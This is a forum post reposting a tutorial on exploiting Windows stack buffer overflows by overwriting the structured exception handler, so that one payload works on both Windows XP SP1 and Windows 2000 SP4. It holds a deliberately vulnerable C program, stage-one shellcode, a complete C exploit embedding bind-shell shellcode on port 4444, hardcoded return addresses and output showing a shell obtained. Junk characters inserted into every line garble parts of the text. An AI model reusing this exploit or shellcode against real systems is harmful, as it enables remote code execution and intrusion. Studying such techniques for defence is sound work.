QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2429|回复: 0
打印 上一主题 下一主题

Exploiting Default Exception Handler to Increase Exploit Sta

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-19 10:39 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.
! b8 M5 D1 c4 H1 v+ Z
) {- w8 I2 K5 D( B% x- i[Buf] <- Shellcode
& v; C/ H' B4 u1 L- r: w1 _6 A[Return Address] <- jmp register (for Windows XP sp1)
0 ~# v( `. M  i, X[Various Stack Data] <- Junk
8 R# g" y6 R$ a[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward
, O! n) u" `9 b  F8 P( A2 s; r! V[SE Handler] <- jmp register (for Win2k sp4)
& Q+ S% F: s- u& V8 I4 w[Stage1 Shellcode] <- stage1 shellcode for win2k
8 F- F: j. q; Q; h' a& y# k6 ~7 O7 i
  ^4 D. B: c8 [3 h7 P! mIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses9 F5 C( @) K7 X
, A; \- U6 X3 r6 i# t
Necessary Tools:
$ f# f$ }! H* z6 p" q4 M- OllyDBG
% N: N9 a7 b( Q7 v) h6 H7 U7 Y- C/C++ Compiler" U$ \4 @2 I% ?2 C8 l
- nasm
+ A* _# H* o( ^/ `9 P- Sac: z% I* ^1 n8 F+ \" d
% }- }' j8 E6 H0 u) m
Vulnerable Code:) h7 G' T) W3 Z' g+ |  m
//lamebuf.c
. g! s) j- R, Z! H6 y#include<stdio.h>; I; t' W" ^7 `; n; Z
#include<string.h>1 p8 T* x4 r  {! }
#include<windows.h>
6 B6 K8 U% H+ s3 aint main(int argc,char *argv[]){
0 O( i/ |- O' |+ U: y, m* `& m5 l% e' Y$ F
char buf[512];# r6 s8 X" ~) n* s, E
char buf1[1024]; // <- simulate a stack  s% l' P  K0 X
//DebugBreak();
& `1 i9 K' ?+ ~. W. a6 Pif (argc != 2){ return -1; }
/ B) B/ g$ M6 [$ S# g
% t: n* a6 R9 n& Nstrcpy(buf,argv[1]);, u1 }) S) J$ j  p; |, M6 X7 V$ q
return 0x0;
& ]2 b" p, g1 i8 W}; q% S. @5 t( _, b
% U- F! h- u; W% H3 V, Y& v, J: i
Getting Started:
* B8 E) D# U: \) H7 r% kBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:( u4 D9 F, s( H

1 L! u& d- \; E  G' _+ \EAX 00000000$ |6 i( }3 Z7 b9 q( m- P" Z
ECX 00321404
0 I: u5 m# ]- f" Y* LEDX 00414141
8 {" `5 z. q; n! n( n$ H5 W9 Y' CEBX 7FFDF000
! _$ @+ l1 S7 _" g# ^ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
( G. I! l! _. |3 a3 vEBP 41414141" K/ S% P% @4 g. b# }, o
ESI 77D4595F
) Y% ^5 u) @  u7 R6 y+ z. k1 {EDI 77F59037 ntdll.77F59037# C; U0 }0 y+ ^+ }! j( z( N
EIP 414141417 k4 d0 q& [  v. ]2 M5 x0 A: a
6 [6 L- S) }" i/ N
Lets take a look at the stack and see what happened to the default exception handler:6 r6 z; a7 T: O0 t& k
0x0012FFB0 41414141 Pointer to next SEH Record: h; Q  R; ?+ Q! x) M6 b  m8 Z' B
0x0012FFB4 41414141 SE Handler
' b: D' N) m! o! P# b; d' ^' Z0 H: F) D5 I- d
We successfully overwrote the return address and the default exception handler.) \5 |) Z3 ^* ~& e/ C6 a7 m

* {+ f0 J6 Z" d( e( F  uPrimary Return Address (Windows XP SP1 EN):
: M+ i- G4 M* K; M7 mThe first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:, A6 Z, g- i4 r1 e7 A6 p3 t# g
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"
  A) h) b' l0 R! S( F: G
5 x. g1 c$ I2 i3 b3 {Secondary Return Address (Windows 2000 SP4 EN):
/ Z! a+ k! a* }% \4 X0 lThe secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:% H2 \3 a( Q2 R  R- F2 r/ U9 B
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"
* c, O$ G! R" e0 o) f$ f& K) X( a# E4 T3 I% J- Y8 T2 s
Proof Of Concept:
0 I4 z2 z: }, Z! i// exploit.c
' Z  _( N0 ^& R0 p// Tal zeltzer - [Double Return] //' M, q3 Q3 i" J% t0 ^

$ N* r$ h7 ~5 c#include<stdio.h>
8 k: a/ ]. N) R7 B, k#include<string.h>
4 Q' P4 Z5 Y2 J% _- b#include<windows.h>
0 M9 {4 W# y! n; Y+ P
4 L6 c, s- e) Z#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp, E8 L8 o% x, y# \, }9 B1 u% k  A
#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx
  ]+ P8 f" E( C& G) c" M* x& k1 a9 i1 v3 h2 V2 x" h
// Stage1 For WinXP Sp1 English
0 Y1 B5 Z: _" E0 [: ^* ^& Iunsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";
' y1 k( I& k/ P1 i) I% r: _3 `0 L- P+ l' W' k* [3 H
// Stage1 For Win2k Sp4 English
- M  D6 B8 Z' k" junsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";* ~3 v, f7 f) A/ p& u

& x) [. T6 m6 B0 U3 @// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com0 k) B% J/ i5 g9 z7 G
unsigned char shellcode[] =
9 J1 K: p. \! T' Y. H  ^"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85". j: J: v/ z' X6 U& F  u1 X; j  h
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
* `, v# j) ^+ u1 s. s/ A"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
& U. e- h# E1 X1 ~) g& I! S"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
' b; V5 G7 f- v; I  ?( E"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
3 O3 r6 q$ D; P/ Q( ^"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"8 D( r" ?6 V$ ~% I- [$ X! R
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"8 ^- D6 `, b1 M8 G9 x1 U
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
7 Z9 f% U/ U+ v9 g  z3 V" X) k"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"6 m8 d% J+ a0 _5 e7 U" C6 ^) B
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"- D9 H- C# F9 M3 Z, p: |! w. s
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
. K0 {5 p! N" v. G0 p"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
% m& P6 v! T! F' K7 ~"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"3 T3 E3 t" A) d$ ^+ r1 `* I& c
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
, i0 Z: E+ F5 Y) h/ }"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
" [2 o2 C. z, G; s3 V9 y; p- l"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"  V5 t* q0 s" n2 q: n+ z4 j8 N
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"8 `0 {9 O% r- P7 z8 I8 T( h. s' D
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
& r( K" P$ A4 G2 V"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"! N6 m2 u# H1 ^; d) A- M
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
  {! m3 l+ T) l"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
: x) H  j0 P# u* I) s8 L"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"4 `( s" l+ n' @8 c1 r: N, Y" f
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
* l) A, K; _2 V"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
6 v" I/ h: V8 E2 d: F"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";" B- t+ k8 V4 O# }* V! o/ E8 }% O
6 k7 ]4 J3 K9 Q( V9 \+ `  F
- r. T* e! s4 v. u0 R
int main(int argc,char *argv[]){" Y* y! T+ }7 F( }1 [  g! K
4 i' B. {/ u0 G6 q( L
char *bufExe[3];
9 \2 ?! \  L2 B6 V7 Echar buf[2048];
7 @+ U! c# }" ?3 ObufExe[0] = "lamebuf.exe";
: l# G% }7 y8 \$ ZbufExe[2] = NULL;
- C+ o4 @' {. J* u& w
4 s- U5 {# g! X9 a$ V  f$ Fmemset(buf,0x0,sizeof(buf));
, h( X/ Q( h  Q5 p' A& I; Umemset(buf,0x90,1652);! W; j+ L* M5 r$ I; _& D. D
memcpy(&buf[24],shellcode,sizeof(shellcode)-1);
" y) q- I1 Y5 f+ L5 d5 {' [' D4 l1 w
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode
- `; N# G/ i! d7 r1 F0 y" ]6 U7 H% D2 lmemcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode
* c& o" u3 |, @9 _
: s0 a) v8 H. p0 I1 c% v/ b*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en
/ b8 _" g  D6 N( X9 P*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code8 Y$ O' `/ ?$ v& e, r- n8 b
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en
2 r5 q3 U/ P5 b9 x& E2 f. k3 O0 u+ L( ~7 g' @
8 A1 o0 E! w6 o% s" p: Z; ^
bufExe[1] = buf;
8 ?: E4 S3 q9 j  I6 C//Execute the vulnerable application$ W0 ~/ U. J. k( v5 }# U5 g7 c
execve(bufExe[0],bufExe,NULL);: E" B0 i' u& O
# Z; U% B5 u* ^4 W; o
return 0x0;3 z' Q9 [3 t; y* O
}- N8 {1 f( U- j
! l" M  z( ^( r& u: Z$ b: R/ j, z% p( J
Exploit under Windows XP SP1:  N, }) X' U  o8 w8 N: O1 |0 e
C:\>exploit% z( \  F$ y! ?
C:\>5 s2 w  o# J! Y+ N; i
C:\>telnet 127.0.0.1 4444
$ `. C$ m+ N3 T2 A' M; l, e( A
( m0 v3 J$ {/ a1 T) Y8 QMicrosoft Windows XP [Version 5.1.2600]# ]4 q6 d0 b5 K; {
(C) Copyright 1985-2001 Microsoft Corp.
% N2 y: e- \( I  U5 J1 a' |+ _& }% a! c( N5 s; g
C:\>1 x6 y5 W( g* Y$ U2 \

7 J9 c" o1 g: k* W+ ~8 S6 z& |Exploit under Windows 2000 SP4:
3 E+ e% u2 t# DC:\>exploit5 {; W( x+ I' m, `/ D
C:\>
6 d& Y9 C& c) }6 R; s/ jC:\>telnet 127.0.0.1 4444
. x1 m1 q/ R" G" ]2 v: z6 B7 s% i, Q  z( P0 y9 v
Microsoft Windows 2000 [Version 5.00.2195]8 `  J: B. o( S- D) u
(C) Copyright 1985-2000 Microsoft Corp.
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-19 06:35 , Processed in 0.589454 second(s), 51 queries .

回顶部